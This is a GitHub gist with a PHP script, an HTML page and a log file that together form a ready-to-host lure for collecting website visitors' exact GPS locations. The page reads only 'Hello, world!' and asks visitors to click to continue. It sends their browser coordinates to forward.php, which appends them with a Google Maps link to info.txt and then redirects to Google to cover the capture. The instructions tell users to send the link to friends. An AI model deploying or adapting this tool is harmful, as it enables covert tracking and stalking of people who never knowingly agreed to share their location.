Skip to content

Instantly share code, notes, and snippets.

@TheBinitGhimire
Created December 28, 2020 11:03
Show Gist options
  • Select an option

  • Save TheBinitGhimire/61bcdcaf94214c244a74c208988fb856 to your computer and use it in GitHub Desktop.

Select an option

Save TheBinitGhimire/61bcdcaf94214c244a74c208988fb856 to your computer and use it in GitHub Desktop.

Revisions

  1. TheBinitGhimire created this gist Dec 28, 2020.
    51 changes: 51 additions & 0 deletions forward.php
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,51 @@
    <?php

    /*
    Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!
    Author: Binit Ghimire
    GitHub Profile: https://github.com/TheBinitGhimire
    Author URL: https://WHOISbinit.me/
    _________________
    || How to Use? ||
    ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
    - Host "index.html", "forward.php", and "info.txt" in your web server!
    - Send the URL to your website to your friends!
    Thank You!
    */

    function validateGeolocation($x, $y){
    if(!(is_float($x) && is_float($y))) return false;
    else return preg_match('/^[-]?(([0-8]?[0-9])\.(\d+))|(90(\.0+)?),[-]?((((1[0-7][0-9])|([0-9]?[0-9]))\.(\d+))|180(\.0+)?)$/', $x.','.$y);
    }

    $valid = false;
    // Checking if the Geolocation is properly sent or not!
    if(isset($_GET['x']) && isset($_GET['y'])){
    // Ensuring the provided Geolocation values are float values!
    $latitude = floatval($_GET['x']);
    $longitude = floatval($_GET['y']);

    // Validating whether the Latitude and Longitude are in proper format or not!
    if(validateGeolocation($latitude, $latitude)){
    $valid = true;
    // Crafting a Google Maps URL with the valid Latitude and Longitude!
    $maps = "http://maps.google.com/maps?q=$latitude,$longitude";

    // Writing (actually appending) the Geolocation Information into a text file named "info.txt"!
    $locationFile = fopen("info.txt", "a") or die("Unable to open file!");
    $info = "Latitude: ".$latitude."\nLongitude: ".$longitude."\nMaps: ".$maps."\n\n";
    fwrite($locationFile, $info);
    fclose($locationFile);
    }
    }

    // Redirecting to Google if all criteria is satisfied!
    if($valid){
    header('Location: https://www.google.com/');
    } else{
    // Redirecting to the HomePage if the Geolocation isn't properly sent!
    header('Location: index.html');
    }

    ?>
    68 changes: 68 additions & 0 deletions index.html
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,68 @@
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Hello, world!</title>
    <meta name="description" content="Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!" />
    <meta name="author" content="Binit Ghimire" />
    <meta name="keywords" content="HTML5, Geolocation, GPS, Location, Get Location, Grab Location" />

    <!-- Open Graph Meta Tags in case you want to share the URL of your webpage on Facebook! -->
    <meta property="og:title" content="Hello, world!" />
    <meta property="og:type" content="website" />
    <meta property="og:site_name" content="Hello, world!" />
    <meta property="og:locale" content="en_US" />
    <meta property="og:description" content="Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!" />
    <meta property='article:author' content='https://www.facebook.com/InternetHeroBINIT' />

    <link rel="icon" type="image/png" sizes="32x32" href="https://cdn.iconscout.com/icon/free/png-32/location-62-93995.png" />
    <meta name="theme-color" content="#ff0000" />

    <style>
    /* Centering everything horizontally and vertically! */
    html, body{
    height:100%;
    }

    html{
    display:table;
    margin:auto;
    }

    body{
    display:table-cell;
    vertical-align:middle;
    text-align:center;
    color:#fc3d7d;
    }
    </style>
    </head>
    <body>

    <h3>How's it going on!?</h3>

    <hr color="red" size=1>
    <button onclick="getLocation()">Click Here to continue!</button>
    <hr color="red" size=1>

    <p id="errorMessage"></p>

    <script>
    let message = document.getElementById("errorMessage");

    function getLocation(){
    if(navigator.geolocation){
    navigator.geolocation.getCurrentPosition(sendLocation);
    } else{
    message.innerHTML = "<em>Your browser is unsupported.</em>";
    }
    }

    function sendLocation(geoLocation) {
    window.location = "forward.php?x="+geoLocation.coords.latitude+"&y="+geoLocation.coords.longitude;
    }
    </script>

    </body>
    </html>
    4 changes: 4 additions & 0 deletions info.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,4 @@
    _____________________________
    || Geolocation Information ||
    ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾